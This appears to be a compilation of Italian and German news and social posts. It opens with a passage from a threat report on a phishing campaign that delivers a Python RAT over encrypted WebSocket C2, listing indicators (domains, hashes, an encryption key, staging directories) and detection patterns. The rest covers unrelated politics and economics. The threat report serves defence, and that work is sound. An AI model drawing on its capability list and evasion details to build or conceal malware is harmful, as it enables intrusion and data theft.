URL:          hXXps://sedaliarealty[.]net/1ed3c2fc-f870-5522-a6bd-71c0a4d78ddd
campaign_id:  028aaf61-fef2-525a-9a95-7cd10db2e166
mutex_name:   DE6TZHGHlXfrbvmQdHxJIb035
chacha_key:   0x0DF4397FDB725731AE751503C0FEFDCDB5F2967286379F7D662C297D41F07A15
chacha_nonce: 0x17612E6D4D22AC64AB157E3C

Tutta la comunicazione C2 successiva è cifrata con ChaCha20. Il loader invia al server il profilo del sistema infetto (username, hostname, dominio, versione Windows, architettura, AV installati) e riceve task strutturati. Le capability configurabili includono: anti-VM tramite cpuid, screenshot desktop tramite GDI BitBlt, enumerazione AV via WMI (root\SecurityCenter2), elevazione privilegi con “runas”, watchdog che rilancia continuamente il processo figlio.

Payload finale: RAT Python con C2 WebSocket


Il payload finale è un RAT scritto in Python (bytecode .pyc) con C2 via WebSocket cifrato attraverso WinHTTP APIs. Il traffico C2 inbound è ulteriormente offuscato tramite XOR. Le funzionalità principali includono shell interattiva con relay stdin/stdout verso il C2, esecuzione in-memory di payload aggiuntivi, persistenza tramite mutex e watchdog con rilancio automatico, e raccolta approfondita di informazioni di sistema. I file di staging sono in directory caratteristiche sotto %ProgramData%: Ccrreewwll, NewKevinNotAnother, NewestWorkiNaprav.

Indicatori di compromissione (IoC)

# Domini phishing e C2
linkedall[.]org
uslinked[.]org
linked-on[.]com
indeed-jobs[.]net
kevinnotanother[.]com
sedaliarealty[.]net
catalyst-ltd[.]net
# Hash SHA-256
cd4a51037bf58733c0cb24b273951dd3fcea45a2aaeb8b30a3c625e183c4c0c7
d56b810dfacaa1630bf562ccdefd46835349710d9516334e1a182619335ddea7
# Endpoint UUID-based C2
95126aeb-4120-56b1-8c9e-63fdf0c0b6f9
ebd417db-979c-51f8-aedf-88a2bf8aa6c3
6d6d2d17-d270-59c6-8b75-df011af08e58
# Directory staging
C:\ProgramData\Ccrreewwll\
C:\ProgramData\NewKevinNotAnother\
C:\ProgramData\NewestWorkiNaprav\
# File Python bytecode
(main|install|play).pyc

Due righe per i difensori


Il blocco delle connessioni in uscita su porta 79 (Finger) è una misura difensiva immediata con impatto operativo quasi nullo. Sono ad alta fedeltà per la detection: processi Python con argomenti -c inline contenenti base64/zlib, copia di curl.exe in directory utente con nomi randomizzati numerici, creazione delle directory specifiche sotto %ProgramData%, e connessioni WebSocket verso domini recentemente registrati. Gli ambienti che bloccano l’esecuzione di runtime Python non firmati e limitano l’accesso a %LocalAppData% per applicazioni non autorizzate risultano significativamente più resilienti a questo vettore.

Fonte: LevelBlue SpiderLabs Blog — King Orande e Cris Tomboc, 4 giugno 2026


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Il mercato del lavoro Usa accelera: 172mila nuovi posti a maggio, il doppio delle attese


A maggio gli Stati Uniti hanno creato 172mila posti di lavoro, il doppio delle attese. Disoccupazione ferma al 4,3%, ma i salari reali calano per il caro energia legato alla guerra in Iran.

L'economia americana ha creato 172mila posti di lavoro a maggio, più del doppio degli 80mila previsti dagli economisti. Il tasso di disoccupazione è però rimasto fermo al 4,3% per il terzo mese consecutivo. I dati, diffusi oggi dal governo americano, confermano comunque che il mercato del lavoro statunitense sta riprendendo slancio dopo mesi di crescita debole, nonostante le ricadute economiche della guerra in Iran.

Le revisioni dei dati dei mesi precedenti rafforzano il quadro. Il Bureau of Labor Statistics ha rivisto al rialzo di 93mila unità complessive le stime dei posti di lavoro creati nei due mesi precedenti: a marzo i nuovi posti sono stati così 214mila, ad aprile 179mila. Negli ultimi tre mesi la media sale così a 188mila nuovi occupati al mese, un ritmo sostenuto se si considera che appena sei mesi fa la media trimestrale era profondamente negativa. Il cambio di passo rispetto al 2025 è netto: quest'anno gli Stati Uniti hanno creato in media 114mila posti al mese, contro i 10mila mensili dell'anno scorso.

Lavoro Usa · Dato di maggio

Il mercato del lavoro americano rialza la testa


A maggio negli Stati Uniti sono stati creati 172mila posti di lavoro, più del doppio delle attese. La media degli ultimi tre mesi sale così a 188mila, il ritmo più alto da oltre due anni. Ma i salari reali arretrano e la Fed valuta una stretta.

Bureau of Labor Statistics · Employment Situation 5 giugno 2026

Posti di lavoro creati a maggio
+172mila

vs

Attesi dagli economisti
+80mila

Variazione degli occupati non agricoli, dato destagionalizzato

Consenso degli analisti raccolto da Dow Jones prima del rapporto

La disoccupazione resta ferma al 4,3% per il terzo mese consecutivo

Esplora i dati
I La svolta II Mese per mese III I settori IV Salari e Fed

La tendenza di fondo

Sei mesi fa l'America perdeva posti di lavoro, oggi ne crea 188mila al mese


Variazione media mensile degli occupati, media mobile a tre mesi da gennaio 2024 a oggi. In autunno la media era scesa sotto zero; con le revisioni al rialzo di marzo e aprile, il trimestre marzo-maggio segna invece il ritmo più sostenuto da oltre due anni.

Media mobile a 3 mesi

Scorri il grafico con il dito o con il cursore per leggere i valori mese per mese.

Il cambio di passo è netto: nel 2026 gli Stati Uniti hanno creato in media 114mila posti al mese, contro i 15mila mensili del 2025 dopo la revisione annuale dei dati.

Tredici mesi di saliscendi

Tre mesi consecutivi sopra i 170mila posti, dopo un anno di alti e bassi


Variazione mensile degli occupati non agricoli da maggio 2025, in migliaia, dati rivisti. Tocca una colonna per leggere il valore.

Maggio 2026 +172mila Ultimo dato disponibile

20252026

Maggio 2026
Mesi in crescita
Mesi in calo

Le revisioni rafforzano il quadro: marzo sale a 214mila posti e aprile a 179mila, per un totale di 93mila occupati in più rispetto alle stime precedenti.

Chi assume e chi taglia

Turismo, enti locali e sanità trainano le assunzioni, la finanza taglia


Variazione degli occupati per settore a maggio 2026, in migliaia. Il lavoro d'ufficio resta il punto debole: la finanza ha perso 107mila posti dal picco di maggio 2025.

Nel turismo e nella ristorazione, i soli servizi di ristoro valgono 48mila dei 70mila nuovi posti. Tra gli enti locali la crescita riguarda soprattutto i comparti fuori dall'istruzione.

La quota di occupati tra i 25 e i 54 anni sale all'80,8%, appena sotto il massimo del periodo post-pandemia.

L'altra faccia della medaglia

I salari corrono meno dei prezzi e la Fed valuta un rialzo dei tassi


Il rincaro dell'energia legato alla guerra in Iran tiene alta l'inflazione: anche le buste paga crescono ma non alla stessa velocità, e il potere d'acquisto delle famiglie arretra.

I numeri chiave

+3,4%
Crescita annua dei salari orari, la più bassa da agosto 2021

3,8%
Inflazione attesa nel rapporto sui prezzi della prossima settimana

37,53 $
Retribuzione oraria media a maggio

16-17 giu
Riunione Fed, la prima guidata da Kevin Warsh

4,3%
Disoccupazione, invariata da tre mesi

61,8%
Partecipazione alla forza lavoro

Sono sempre più convinta che tassi più alti possano rendersi necessari entro fine anno per ripristinare pienamente la stabilità dei prezzi.
Lorie Logan · Presidente della Fed di Dallas

I mercati prezzano una probabilità crescente che la Fed alzi i tassi già quest'anno: un cambiamento radicale rispetto alle precedenti attese di tagli.

Fonte Bureau of Labor Statistics, Employment Situation, maggio 2026. Variazioni destagionalizzate degli occupati non agricoli; serie storica rivista (benchmark 2025). Previsioni: consenso Dow Jones. Aggiornato al 5 giugno 2026.

Le assunzioni crescono, ma non ovunque


Le assunzioni del mese di maggio si sono concentrate soprattutto nel turismo, nella ristorazione, nella sanità e negli enti locali. È salita anche la quota di occupati tra i 25 e i 54 anni, arrivata all'80,8%, appena sotto il massimo del periodo post-pandemia. "È il tipo di risultato che sembra un colpo di scena dopo mesi di rapporti deludenti", ha scritto oggi in una nota Laura Ullrich di Indeed. Per Daniel Zhao, capo economista di Glassdoor, "le nubi dell'incertezza politica e del rincaro dell'energia restano all'orizzonte, ma per ora i datori di lavoro continuano ad ampliare gli organici".

Il punto debole resta il lavoro d'ufficio. Le assunzioni sono ferme, e in alcuni casi in calo, nei settori finanziario, dell'informazione e dei servizi professionali. Secondo Jason Pride, capo stratega degli investimenti di Glenmede, questo andamento "è coerente con una ristrutturazione in corso, compresi gli effetti di sostituzione dell'automazione e dell'intelligenza artificiale".

Salari sotto pressione e Fed più prudente


La guerra in Iran continua però a pesare sui salari. Le retribuzioni orarie medie sono cresciute del 3,4% nell'ultimo anno, quasi certamente meno dell'inflazione dello stesso periodo, attesa al 3,8% nel rapporto sui prezzi al consumo in uscita la prossima settimana. I salari reali quindi arretrano e continuano a comprimere i bilanci delle famiglie.

Il dato di oggi sull'occupazione arriva a pochi giorni di distanza dalla riunione della Federal Reserve del 16 e 17 giugno, la prima guidata dal nuovo presidente Kevin Warsh. Questa settimana alcuni funzionari della Banca Centrale hanno segnalato minori timori sull'andamento del mercato del lavoro e una maggiore attenzione all'inflazione, aggravata dal rincaro dell'energia legato al conflitto. I mercati finanziari prezzano così una probabilità crescente che la Fed alzi i tassi quest'anno, un cambiamento radicale rispetto alle precedenti attese di tagli.

"Sono sempre più convinta che tassi più alti possano rendersi necessari entro fine anno per ripristinare pienamente la stabilità dei prezzi", ha detto in un discorso la presidente della Fed di Dallas, Lorie Logan.

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L'ossessione per le apparenze al centro della seconda presidenza Trump


Per un'analisi pubblicata sull'Atlantic, l'estetica e le apparenze guidano molte delle decisioni più importanti della seconda presidenza Trump

Donald Trump esita ad appoggiare apertamente il suo vice J. D. Vance come candidato repubblicano alle presidenziali del 2028. Tra le tante ragioni possibili, il presidente si sarebbe concentrato su un episodio in particolare: durante una cerimonia alla Casa Bianca nella primavera del 2025, Vance lasciò cadere il trofeo della squadra di football della Ohio State, vincitrice del campionato universitario. Lo ha rivelato il New York Times, riportando come Trump sia "sempre molto attento all'estetica della presidenza" e si soffermi sui momenti in cui Vance "potrebbe non sembrare all'altezza del ruolo".

Scegliere il candidato del proprio partito sulla base di un trofeo fatto cadere è un metodo singolare. Ma secondo un'analisi di Jonathan Chait pubblicata sull'Atlantic, è del tutto coerente con il modo in cui Trump esercita il potere. Trump è "quasi certamente l'uomo più superficiale ad aver mai occupato la presidenza", scrive Chait, e la superficialità è un sistema di valori che ha guidato molte delle decisioni più rilevanti del secondo mandato.

La seconda presidenza si è concentrata sugli aspetti del ruolo che colpirebbero un turista in visita a Washington. Trump ha investito tempo ed energie nella ristrutturazione della Casa Bianca, dentro e fuori, e nel rinnovamento degli spazi pubblici della capitale. Alcuni risultati sono apprezzabili, come il restauro di fontane e piazze. Altri rispecchiano il gusto personale del presidente: il giardino delle rose della Casa Bianca è stato sostituito da un patio, lo Studio Ovale è stato dotato di insegne in stile albergo e riempito di soprammobili costosi e foglia d'oro.

Altri presidenti hanno costruito monumenti e ristrutturato spazi pubblici, ma nessuno con la stessa ossessione. Ad aprile un uomo armato ha fatto irruzione al White House Correspondents' Dinner, la cena annuale che riunisce i giornalisti accreditati alla Casa Bianca. Trump ha provato a sfruttare l'ondata di solidarietà che ne è seguita non per portare avanti una politica importante, ma per spingere il Congresso a finanziare un suo progetto personale: la costruzione di una nuova sala da ballo alla Casa Bianca.

Trump applica lo stesso criterio alla scelta dei collaboratori. Il suo complimento preferito verso un funzionario è dire che sembra uscito dal central casting, il sistema con cui Hollywood seleziona le comparse in base all'aspetto. Trump giudica cioè i suoi uomini su come appaiono nel ruolo, non su quanto siano competenti per esercitarlo.

La stessa fissazione per l'aspetto fisico emerge nel modo in cui Trump descrive gli uomini della sua cerchia. Ha parlato del quarterback dei New York Giants Jaxson Dart come di un "ragazzo bellissimo" con "gambe come tronchi d'albero". Secondo la giornalista Ashley Parker, anche sull'Atlantic, l'attenzione che il presidente dedica alla bellezza maschile contribuisce a una sensibilità che alcuni hanno definito "para-gay". Più che una vera questione di orientamento sessuale, scrive Chait, è un'attenzione all'apparenza fisica anomala per chi non lavora nel mondo della moda o dello spettacolo.

L'amministrazione ha avviato un attacco generalizzato all'energia eolica perché il presidente non sopporta come appaiono le pale. Ha definito le centrali eoliche "antiestetiche", si è lamentato a lungo del fatto che rovinassero la vista del suo campo da golf in Scozia e ha detto di non volere "questi pannelli solari che si estendono per chilometri e coprono mezza montagna, brutti da morire". Sulla base di queste preferenze ha bloccato progetti eolici già approvati, costringendo i consumatori americani a pagare bollette più alte.

Trump associa gli immigrati provenienti dai paesi del Sud del mondo a un'immagine di sporcizia e disordine, parlando di persone "sudicie, sporche, disgustose". L'ostilità verso l'immigrazione ha quindi una matrice estetica oltre che razziale. Lo stesso vale per l'enfasi sproporzionata che il presidente mette sull'aspetto fisico delle donne, dove la bellezza è quasi un requisito per le sue collaboratrici e un valore aggiunto per i collaboratori uomini.

Il movimento Make America Healthy Again, guidato dal segretario alla Salute Robert F. Kennedy Jr., è stato a lungo associato al rifiuto della scienza e degli esperti. Ma Chait nota che Trump e Kennedy condividono anche un'idea superficiale di salute. Mentre malattie infettive come il morbillo tornano a diffondersi negli Stati Uniti, il segretario si fa filmare a torso nudo mentre esibisce la propria forma fisica, come se questo fosse di per sé un contributo positivo alla salute pubblica.

Il settore in cui la superficialità ha avuto l'impatto più profondo è la difesa. A capo del Pentagono Trump ha messo Pete Hegseth, un ex conduttore di Fox News. Hegseth ha introdotto nuovi standard di cura della persona per i militari e si è fatto filmare durante allenamenti collettivi con la truppa. Nei primi giorni della guerra contro l'Iran il briefing quotidiano del presidente conteneva video selezionati di "roba che esplode", che hanno alimentato la sua convinzione che la campagna stesse andando benissimo.

Tra i progetti che più stanno a cuore al presidente c'è la costruzione di una nuova classe di corazzate, chiamata Trump-class. Gli esperti militari hanno criticato l'utilità e il costo di queste navi. Mark Montgomery, ex contrammiraglio della Marina e oggi alla Foundation for Defense of Democracies, ha dichiarato al Wall Street Journal che la Marina si sta "concentrando sull'idea del presidente che una corazzata sia una nave dall'aspetto figo".

Trump non smentisce, anzi rivendica. "La Marina americana guiderà il design di queste navi insieme a me, perché sono una persona molto attenta all'estetica", ha detto una volta. In un altro discorso davanti ai militari ha aggiunto: "Metto un po' più di spirito nello scafo. Voglio che quella nave sia bellissima, capite". Ha citato come modello il vecchio documentario sulla Seconda guerra mondiale Victory at Sea.

Questo accade in un momento in cui le tattiche militari stanno cambiando radicalmente. Le navi da guerra in stile Seconda guerra mondiale, che attirano nostalgicamente il presidente boomer, hanno un valore sempre più ridotto rispetto alle flotte di droni economici. L'analista militare Phillips O'Brien ha spiegato a David Frum dell'Atlantic che il combattente più prezioso sul campo di battaglia oggi è in genere l'operatore di droni, sostanzialmente un giocatore di videogiochi. Che gli Stati Uniti stiano perdendo la prima guerra dell'era dei droni mentre il segretario alla Difesa cresciuto in televisione si concentra su peli del viso e flessioni non è probabilmente un caso.

L'episodio che meglio riassume questa stagione politica è forse l'incontro di UFC, le arti marziali miste, che si terrà alla Casa Bianca. La scena è pensata per evocare lo spettacolo della forza e del dominio fisico, il legame tra potere e muscoli che affascina il presidente. Secondo la CNN, l'amministrazione vuole riempire gli spalti di soldati, ma non di soldati qualsiasi: i partecipanti dovranno soddisfare standard di forma fisica e in generale "avere un bell'aspetto". Si tratta, in fondo, di scegliere il cast giusto per uno spettacolo.

Mentre il presidente organizza tornei gladiatori e fa costruire archi di trionfo, le forze armate americane sono impegnate in operazioni militari sempre più estese. Gli Stati Uniti rischiano di cedere alla Cina i propri vantaggi tecnologici e di lasciare deteriorare le competenze scientifiche, mediche e amministrative costruite nel corso del Novecento. Ma Trump, scrive Chait nella sua conclusione, si copre la pelle di fondotinta e si proclama "il presidente più sano di sempre". Misura il successo del paese in foglia d'oro.

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Acerbo (Prc): Energia nucleare? No, grazie home.rifondazione.eu/2026/06/0… #ComunicatiStampa

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Alles im Interesse einer irren Industrie auf Speed. Nachhaltigkeit egal. Interessen der Bürger egal. Eigentlich alles egal, Hauptsache dabei.


Mit einem Paket an Gesetzen will die EU-Kommission digital souveräner werden. Aber das positiv besetzte Label verschleiert eine knallharte Industrie-Agenda: Neue Rechenzentren sollen massig Energie verschlingen. Ein Kommentar.

netzpolitik.org/2026/rechenzen…


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Chi finanzia i partiti italiani? È una domanda che riguarda la qualità della nostra democrazia, non solo gli addetti ai lavori. Eppure i dati sul finanziamento politico restano spesso opachi, frammentati e difficili da leggere.

Il 10 giugno a Roma, alla Sapienza, nasce Moneytor: un osservatorio permanente sul rapporto tra denaro, politica e potere in Italia, dai bilanci dei partiti alle campagne elettorali, passando per 2x1000 e donazioni private.

Per Volt, il tema non è nuovo! Siamo stati tra i primi firmatari del Manifesto per un finanziamento etico della politica e abbiamo approvato un Codice Etico delle Donazioni: niente fondi da settori incompatibili con i nostri valori, piena tracciabilità e verifica di identità, origine e compatibilità dei donatori.

All’evento interviene Pasquale Lisena, Responsabile Fundraising di Volt Italia, per presentare il nostro Codice Etico e il Bilancio Aperto: un progetto in sviluppo per rendere i conti del partito leggibili da chiunque.

Perché la trasparenza non è un bonus: è il minimo che ogni forza politica dovrebbe garantire.

📅 10 giugno | 10.30–13.00
📍 Sapienza Università di Roma
Ingresso gratuito, registrati a questo link per partecipare:

thegoodlobby.it/eventi/moneyto…

#Moneytor #FinanziamentoPolitico #Trasparenza #PoliticaItaliana #DuePerMille #Volt #VoltItalia

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Il Senato approva 70 miliardi di dollari per la polizia dell'immigrazione


Dopo una maratona di 18 ore, il Senato supera le divisioni interne sul fondo da 1,8 miliardi voluto da Trump per risarcire gli alleati perseguitati politicamente. Il testo passa ora alla Camera.

Il Senato ha approvato nella notte tra giovedì e venerdì un pacchetto da 70 miliardi di dollari per finanziare le agenzie federali dell'immigrazione, superando le divisioni nella maggioranza repubblicana dopo una maratona di votazioni durata 18 ore. Il voto finale, 52 a 47, ha visto schierati i repubblicani contro i democratici, con l'unica eccezione di Lisa Murkowski dell'Alaska, unica repubblicana a votare contro. Il testo passa ora alla Camera, che dovrebbe esaminarlo la prossima settimana.

La legge finanzia l'ICE, la polizia dell'immigrazione, e la polizia di frontiera per i prossimi tre anni, fino alla fine del mandato del presidente Trump, proteggendo le due agenzie da futuri blocchi di bilancio.

A tenere il voto in ostaggio per settimane non sono stati però i democratici, ma la resistenza interna allo stesso partito repubblicano contro il cosiddetto fondo "anti-weaponization" da 1,8 miliardi di dollari. Si tratta di un meccanismo voluto dalla Casa Bianca per risarcire le persone che si ritengono perseguitate politicamente dal governo federale. I critici, repubblicani inclusi, lo considerano un fondo utilizzabile a discrezione dell'amministrazione per premiare gli alleati del presidente, compresi coloro che hanno preso parte all'assalto al Congresso del 6 gennaio 2021.

Durante la seduta, iniziata giovedì pomeriggio e conclusa alle 5 del mattino (le 11 in Italia), i repubblicani hanno respinto a fatica diversi tentativi di eliminare il fondo. Il primo voto, su una proposta del leader democratico Chuck Schumer per sopprimerlo, è rimasto aperto per ore: tre senatori repubblicani, tra cui Bill Cassidy della Louisiana, non riuscivano a decidere come votare. Cassidy, che il mese scorso ha perso le primarie del suo partito dopo lo scontro con Trump, alla fine ha votato contro l'emendamento democratico. Insieme al senatore democratico Cory Booker ha però presentato un parere legale in cui definisce il fondo "una minaccia per la nostra democrazia costituzionale" e "un piano deliberatamente concepito per trasformare degli insurrezionalisti in vittime".

Anche il senatore Thom Tillis della North Carolina, che lascerà il Congresso a fine mandato, ha provato a far vietare il fondo per legge con un emendamento che trasferiva i fondi a un programma anti-frode del Dipartimento della Giustizia. La proposta ha raccolto il sostegno di oltre dieci colleghi repubblicani. "Se il Dipartimento della Giustizia dice che il fondo non verrà usato, perché non approfittarne per metterlo nero su bianco?", ha dichiarato Tillis. Alla fine Cassidy e Tillis hanno comunque votato a favore del testo finale, rassicurati dal procuratore generale facente funzione Todd Blanche, che aveva garantito ai senatori: "non andremo avanti con il fondo, punto". Il presidente Trump, però, mercoledì si era rifiutato di confermare che l'abbandono fosse definitivo. "Per quanto mi riguarda, era una cosa bellissima", ha detto alla CNN. Tutti gli emendamenti per eliminare il fondo sono stati respinti: il meccanismo resta quindi in vigore e la sua sorte dipende ora dalla volontà del presidente, non dalle rassicurazioni del suo procuratore generale.

I democratici avevano bloccato i fondi già a gennaio, dopo che a Minneapolis due manifestanti, Renee Good e Alex Pretti, erano stati uccisi da agenti federali durante le proteste contro le operazioni dell'ICE. L'opposizione chiedeva una serie di riforme vincolanti, tra cui l'obbligo di identificazione per gli agenti e un maggiore ricorso ai mandati giudiziari. Il blocco aveva portato il Dipartimento per la Sicurezza Interna a una paralisi di bilancio record, rimasto senza fondi per oltre settanta giorni tra febbraio e aprile. L'ICE e la polizia di frontiera restano tuttora senza finanziamenti regolari.

La maggioranza repubblicana ha usato una manovra procedurale complessa per aggirare l'ostruzionismo democratico e approvare il testo senza alcun voto dell'opposizione. "Avremmo chiuso ore fa se non avessimo dovuto gestire le questioni legate al fondo", ha ammesso il leader della maggioranza John Thune poco prima di mezzanotte.

La seduta è stata anche l'occasione per votare altri emendamenti che hanno rivelato le fratture interne al partito. Sei senatori repubblicani hanno votato con i democratici per impedire l'uso di fondi pubblici per costruire una sala da ballo alla Casa Bianca, un progetto voluto dal presidente: l'emendamento è stato respinto, ma ha mostrato il disagio di una parte della maggioranza. È stato invece bocciato un emendamento repubblicano per inserire nel testo il "Save America Act", la legge sull'obbligo di documento d'identità per votare fortemente voluta da Trump, con quattro repubblicani, tra cui Mitch McConnell e Susan Collins, che hanno votato contro insieme a tutti i democratici.

Con l'approvazione del Senato, la palla passa ora alla Camera. Se il testo verrà confermato senza modifiche, diventerà probabilmente l'ultima grande vittoria legislativa del presidente prima delle elezioni di metà mandato di novembre.

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„Die vermeintlich gefühlte Sicherheit, die die neuen Technologien bringen soll, ist keine Sicherheit, sondern ein gefährliches Werkzeug, was nicht nur gegen uns als Bevölkerung, sondern auch gegen die Politiker:innen, die jetzt den Gesetzesentwurf vorantreiben, eingesetzt werden kann.“ fasse ich die aktuelle Einigung von CDU, SPD und BSW zur Polizeirechtsnovelle für @netzpolitik_feed zusammen. Denn wir können alle nicht sagen, was eine nächste Sächsische Regierung mit den Überwachungswerkzeugen anstellen würde, die jetzt durchgedrückt werden sollen.

Den ausführlichen Artikel von @leopleop findet ihr hier:

Smartphones hacken, Gesichter scannen: CDU, SPD und BSW wollen Überwachung in Sachsen ausweiten

netzpolitik.org/2026/smartphon…

#Polizei #NoPolG #Sachsen #SachsensDemokratie #Überwachung #CDU #SPD #BSW #Piraten #C3D2 #DPD #Datenpunks #DatebpunksDresden #Dresden

in reply to Ückück ​

hat jetzt den kompletten Änderungsanträge von CDU, SPD und BSW zur Sächsischen Polizeirechtsnovelle veröffentlicht. Das Dokument findet ihr hier im Artikel verlinkt:

netzpolitik.org/2026/smartphon…

#NoPolG #SachsensDemokratie #CDU #BSW #SPD #Sachsen #Polizei #Überwachung

Il Pentagono sta gestendo una fabbrica di propaganda basata sull'intelligenza artificiale che prende di mira l'America Latina

@Politica interna, europea e internazionale

La Tilde pubblica un insolito mix di guide sulla finanza personale e articoli che esaltano gli sforzi militari americani in America Latina.

Gli Stati Uniti sta fornendo propaganda del Pentagono agli utenti di Internet nei paesi dell’America Latina utilizzando un nuovo mulino di contenuti carico di intelligenza artificiale, ha scoperto un’indagine di The Intercept.

La Tilde ha iniziato silenziosamente lo sviluppo all'inizio di quest'anno e sembra essere ancora un work in progress, proponendosi come un moderno marchio mediatico per il pubblico latinoamericano con articoli pubblicati sia in spagnolo che in inglese. Il suo nome fa riferimento al segno di accento che enfatizza le vocali in spagnolo; “notizie con accento” è lo slogan del sito.

Questo linguaggio di divulgazione facilmente trascurato è identico a quello di altri due siti di propaganda sponsorizzati dal Pentagono recentemente rivelato da The Intercept.

theintercept.com/2026/06/02/la…

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NJ police to journalists: Papers please


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Dear Friend of Press Freedom:

Who gets to decide who’s a journalist? Police in New Jersey say it’s up to them. We disagree. Read on for more on that, plus the need for surveillance reform in light of President Donald Trump’s pick for intelligence chief, and what the murder of “60 Minutes” says about the Ellisons’ attempts to buy CNN parent company Warner Bros.

NJ police to journalists: Papers please


This week, our U.S. Press Freedom Tracker has been working to verify at least 40 assaults by federal and local law enforcement on journalists near an immigration detention facility in Newark, New Jersey known as Delaney Hall, where reporters are covering an ongoing hunger strike by detainees and related protests.

As Freedom of the Press Foundation (FPF) Deputy Director of Advocacy Adam Rose wrote in The Guardian, New Jersey police seem to think they’re empowered to unilaterally decide who is a journalist entitled to First Amendment protections — and to violate the rights of anyone who doesn’t satisfy their arbitrary criteria.

Press rights don’t simply protect a chosen class of people. They protect the act of informing the public, Rose writes. “If an officer can point at [someone] and say they are not press, the first amendment ceases to have meaning.”


New intelligence chief could be catastrophic for press and privacy


Trump’s new pick for director of national intelligence, Bill Pulte, is stunningly unqualified. And when it comes to press freedom and the public’s right to know, it’s terrifying to think what he could do in his new role.

The DNI oversees compliance with Section 702 of FISA, a law intelligence agencies have exploited to search countless Americans’ phone calls, emails, and texts without a warrant, including journalists. There’s no telling how Pulte could abuse these surveillance powers at Trump’s behest.

Congress is currently debating whether to renew Section 702, and it’s more important than ever to tell them not to reauthorize the law without major reforms. “Anyone who votes in favor of renewal with Pulte now in place … cannot seriously claim to care even one little bit about the Constitution,” FPF Executive Director Trevor Timm said in a new video.


Don’t mess with Scott Pelley


Veteran “60 Minutes” journalist Scott Pelley didn’t appreciate five of his colleagues being fired in a single day, and he didn’t keep his feelings to himself. Pelley told the show’s new executive producer, Nick Bilton, that CBS News Editor-in-Chief Bari Weiss was brought in to “kill” the storied newsmagazine and that she did exactly that.

He soon got fired for speaking the truth. But it’s also important to remember who brought Weiss in — Trump’s buddy David Ellison, who bought CBS after promising the Trump administration he’d give the news division a MAGA makeover. Now, the Ellisons want Trump’s approval to buy CNN and HBO’s parent company, Warner Bros.

We issued a statement along with a coalition of press freedom organizations about how what we’re seeing at CBS is sure to repeat at CNN if the Warner Bros. acquisition proceeds. And everyone from former CBS Evening News anchor Dan Rather to legendary Pentagon Papers lawyer James Goodale to former “60 Minutes” journalist Lowell Bergman — portrayed by Al Pacino in “The Insider” — has added their name to our letter opposing the merger.


VPNs protect press freedom


Utah recently became the first state to enact a limited ban on virtual private networks to enforce its online age verification law, and lawmakers elsewhere are considering following suit.

That’s a problem for press freedom. FPF Deputy Director of Digital Security Dr. Martin Shelton and Senior Advocacy Adviser Caitlin Vogus recently wrote about how journalists use VPNs to protect themselves and their sources. Give it a read and then share it the next time you hear someone suggest we should restrict VPNs.


What we're reading


When norms fail, pass laws: A call for legislative action to protect press freedom

Prior Restraint
First Amendment scholar Matthew Schafer discusses the press freedom legislation we urgently need, from the PRESS Act to protect source confidentiality to Espionage Act reform to stop criminalization of newsgathering.


US Defense Department bars journalists from its press office

Al Jazeera
“It’s rare for anything other than disingenuous spin and outright lies to come out of the Pentagon’s press office these days, so it’s hard to imagine what basis they have to call the space classified,” said FPF Chief of Advocacy Seth Stern.


Trump on his presidential library: He’ll write his own history

The New York Times
Trump’s planned presidential library is “a shrine to the story that he wants to tell,” not an archive of presidential records, Lauren Harper, FPF’s Daniel Ellsberg chair on government secrecy, explained.


Judge in Luigi Mangione case holds secret hearing despite press objections

The Guardian
This is not how it works. Requests for secret court proceedings should be met with extreme constitutional scrutiny, not rubber stamps.


Pentagon is censoring military newspaper Stars and Stripes, lawsuit alleges

The Washington Post
Journalists who have fought back against the Trump administration’s censorship have almost all prevailed, and this lawsuit should be another winner. It’s important that news outlets don’t take these attacks lying down.


Israeli police compile dossiers on critical foreign journalists

Index on Censorship
If Israel believes its actions can withstand scrutiny, it should let journalists report freely instead of blacklisting foreign reporters, shutting them out from Gaza, and killing Palestinian journalists.


A snapshot into darkness: Bearing witness inside 26 Federal Plaza

Underexposed
A stunning account from journalist Michael Nigro, who was among the first to reveal the Trump administration’s strategy of arresting immigrants at 26 Federal Plaza in New York City.


Press groups to IU: ‘Now is the time’ to demonstrate commitment to student media

Student Press Law Center
Indiana University must act on its student media task force’s recommendations after it restricted the print content of the Indiana Daily Student and fired the student media director.


Spotlight PA, other newsrooms sue Penn State trustee leaders over ‘gag policy’ that silences members

Spotlight PA
Journalists should be able to tell the public what Penn State’s trustees actually think. Silencing criticism and dissent is how problems stay hidden.

Flyer for FPF event with our board president Rainey Reitman on June 12 at POWERHOUSE Arena in Brooklyn


freedom.press/issues/nj-police…

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Ruben Gallego punta sui sindacati mentre i Dem si preparano al 2028


Il senatore dell'Arizona propone un salario minimo di 20 dollari l'ora e la contrattazione di settore per raddoppiare gli iscritti ai sindacati, posizionandosi al centro del partito democratico

Il senatore democratico Ruben Gallego ha annunciato mercoledì un pacchetto di proposte per rafforzare i sindacati americani, mentre nel suo partito è già cominciata la corsa verso le presidenziali del 2028. Il piano prevede un salario minimo di 20 dollari l'ora, un nuovo programma per l'occupazione, controlli antitrust più severi e la contrattazione di settore. Secondo il senatore dell'Arizona queste misure raddoppierebbero la quota di lavoratori del settore privato iscritti a un sindacato.

La contrattazione di settore è la proposta più originale del pacchetto. Oggi negli Stati Uniti i sindacati trattano i contratti con ogni singola azienda o catena. Con un sistema di contrattazione di settore, invece, i rappresentanti dei lavoratori negozierebbero salari, benefici e condizioni di lavoro per tutti gli addetti di un intero comparto. Gallego non ha precisato quanti lavoratori sarebbero coinvolti, ma ha detto che partirebbe probabilmente dagli impiegati dei fast food, dai fattorini e da altre professioni a bassa retribuzione.

Gallego ha citato i sistemi già esistenti in Germania e Svezia, dove non c'è un salario minimo perché i lavoratori sono tutelati da accordi validi per l'intero settore. "La contrattazione di settore è una mossa importante", ha detto il senatore in un'intervista a NOTUS. "Ma non avrà senso per ogni comparto". Sul tema dei prezzi, Gallego ha legato la sua proposta alla lotta all'inflazione: "Per affrontare davvero l'inflazione bisogna aumentare i salari. Questa è una risposta a quel problema". Il piano sarà presentato davanti al sindacato dei lavoratori delle telecomunicazioni, la Communications Workers of America.

L'annuncio sembra pensato per collocare Gallego in una posizione intermedia tra le correnti del partito democratico. I democratici più centristi hanno evitato di sostenere un salario minimo a 20 dollari, mentre Gallego si è fermato prima delle misure più radicali proposte da colleghi alla sua sinistra, come la tassa sui miliardari avanzata dal senatore del Vermont Bernie Sanders.

